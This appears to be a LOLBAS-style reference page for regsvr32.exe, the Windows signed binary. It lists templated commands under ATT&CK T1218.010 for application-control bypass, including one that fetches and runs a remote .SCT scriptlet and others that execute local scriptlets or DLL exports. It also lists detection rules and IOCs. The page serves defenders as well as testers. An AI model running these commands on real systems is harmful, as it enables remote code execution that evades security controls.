01 / TRADECRAFT
6 examplesCommand reference
AWL Bypass2
EXAMPLE 01T1218.010
Execute the specified remote .SCT script with scrobj.dll.
COMMAND
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dllEXAMPLE 02T1218.010
Execute the specified local .SCT script with scrobj.dll.
COMMAND
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dllExecute4
EXAMPLE 01T1218.010
Execute the specified remote .SCT script with scrobj.dll.
COMMAND
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dllEXAMPLE 02T1218.010
Execute the specified local .SCT script with scrobj.dll.
COMMAND
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dllEXAMPLE 03T1218.010
Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.
COMMAND
regsvr32.exe /s {PATH:.dll}EXAMPLE 04T1218.010
Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.
COMMAND
regsvr32.exe /u /s {PATH:.dll}02 / ON DISK
Known paths
C:\Windows\System32\regsvr32.exeC:\Windows\SysWOW64\regsvr32.exe03 / DEFENSIVE INTELLIGENCE
11 resourcesDetection & indicators
- Sigmaproc_creation_win_regsvr32_susp_parent.ymlgithub.com
- Sigmaproc_creation_win_regsvr32_susp_child_process.ymlgithub.com
- Sigmaproc_creation_win_regsvr32_susp_exec_path_1.ymlgithub.com
- Sigmaproc_creation_win_regsvr32_network_pattern.ymlgithub.com
- Sigmanet_connection_win_regsvr32_network_activity.ymlgithub.com
- Sigmadns_query_win_regsvr32_network_activity.ymlgithub.com
- Sigmaproc_creation_win_regsvr32_flags_anomaly.ymlgithub.com
- Sigmafile_event_win_net_cli_artefact.ymlgithub.com
- Splunkdetect_regsvr32_application_control_bypass.ymlgithub.com
- Elasticdefense_evasion_suspicious_managedcode_host_process.tomlgithub.com
- Elasticexecution_register_server_program_connecting_to_the_internet.tomlgithub.com
Indicators & detection notes
- IOC
regsvr32.exe retrieving files from Internet
- IOC
regsvr32.exe executing scriptlet (sct) files
- IOC
DotNet CLR libraries loaded into regsvr32.exe
- IOC
DotNet CLR Usage Log - regsvr32.exe.log
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee